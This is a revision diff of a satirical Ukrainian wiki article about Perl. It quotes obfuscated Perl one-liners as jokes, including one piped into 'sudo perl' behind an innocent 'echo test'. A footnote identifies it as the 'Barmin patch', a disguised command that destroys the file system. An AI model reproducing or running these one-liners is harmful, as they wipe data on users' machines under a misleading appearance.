Perl: відмінності між версіями
Створена сторінка: '''Perl''' ''(перл)'' - скриптова мова програмування, яка на 95% складається з [[Regular expresion|регекс... |
мНемає опису редагування |
||
| Рядок 5: | Рядок 5: | ||
*Perl з легкістю інтерпретує такий код: | *Perl з легкістю інтерпретує такий код: | ||
{{Блок| | {{Блок|`$=`;$_=\%!;($_)=/(.)/;$==++$|;($.,$/,$,,$\,$«,$;,$^,$#,$~,$*,$:,@%)=( | ||
`$=`;$_=\%!;($_)=/(.)/;$==++$|;($.,$/,$,,$\,$«,$;,$^,$#,$~,$*,$:,@%)=( | |||
$!=~/(.)(.).(.)(.)(.)(.)..(.)(.)(.)..(.)......(.)/,$»),$=++;$.++;$.++; | $!=~/(.)(.).(.)(.)(.)(.)..(.)(.)(.)..(.)......(.)/,$»),$=++;$.++;$.++; | ||
$_++;$_++;($_,$\,$,)=($~.$«.»$;$/$%[$?]$_$\$,$:$%[$?]",$«&$~,$#,);$,++ | $_++;$_++;($_,$\,$,)=($~.$«.»$;$/$%[$?]$_$\$,$:$%[$?]",$«&$~,$#,);$,++ | ||
;$,++;$^|=$»;`$_$\$,$/$:$;$~$*$%[$?]$.$~$*${#}$%[$?]$;$\$"$^$~$*.>&$=`}} | ;$,++;$^|=$»;`$_$\$,$/$:$;$~$*$%[$?]$.$~$*${#}$%[$?]$;$\$"$^$~$*.>&$=`}} | ||
або | або | ||
{{Блок| | {{Блок|echo "test... test... test..." | sudo perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|} | ||
echo "test... test... test..." | sudo perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|} | |||
<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'}} | <&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'}} | ||
<ref>Це [[патч Барміна]]. Якщо ти його запустив, [[Всім похуй|мені тебе жаль]].</ref> | <ref>Це [[патч Барміна]]. Якщо ти його запустив, [[Всім похуй|мені тебе жаль]].</ref> | ||
*Має майже [[Сі|Сюшний]] [[Синтаксис|синтаксис]]. | *Має майже [[Сі|Сюшний]] [[Синтаксис|синтаксис]]. | ||
*OMFG, він інтерпретує навіть вірші: | *OMFG, він інтерпретує навіть вірші: | ||
{{Блок| | {{Блок|BEFOREHEAD: close door, each window & exit; wait until time. | ||
open spellbook, study, read (scan, select, tell us); | open spellbook, study, read (scan, select, tell us); | ||
write it, print the hex whole each watches, | write it, print the hex whole each watches, | ||
Версія за 20:01, 7 квітня 2011
Perl (перл) - скриптова мова програмування, яка на 95% складається з регекспів. Створений Ларрі Уоллом.
Недоліки
- Perl з легкістю інтерпретує такий код:
|
Текст блоку |
або {{Блок|echo "test... test... test..." | sudo perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|} <&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'}} [1]
|
BEFOREHEAD: close door, each window & exit; wait until time. open spellbook, study, read (scan, select, tell us); write it, print the hex whole each watches, reverse its length, write again; kill spiders, pop them, chop, split, kill them. unlink arms, shift, wait & listen (listening, wait), sort the flock (then, warn the "goats" & kill the "sheep"); kill them, dump qualms, shift moralities, values aside, each one; die sheep! die to reverse the system you accept (reject, respect); next step, kill next sacrifice, each sacrifice, wait, redo ritual until "all the spirits are pleased"; do it ("as they say"). do it(*everyone***must***participate***in***forbidden**s*e*x*). return last victim; package body; exit crypt (time, times & "half a time") & close it, select (quickly) & warn your next victim; AFTERWORDS: tell nobody, wait, wait until time; wait until next year, next decade; sleep, sleep, die yourself, die at last |
Переваги
- FIXME:якщо щось знайдеш, пиши сюди. лол.
Посилання
Примітки
- ↑ Це патч Барміна. Якщо ти його запустив, мені тебе жаль.